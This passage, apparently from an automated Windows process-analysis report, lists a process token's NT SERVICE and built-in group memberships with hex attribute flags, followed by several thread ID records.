SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d5fc" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 213 os_tid = 0x6d8 Thread: id = 214 os_tid = 0x7a0 Thread: id = 215 os_tid = 0x4f0 Thread: id = 216 os_tid = 0x114 Thread: id = 217 os_tid = 0x158 Thread: id = 218 os_tid = 0x3a8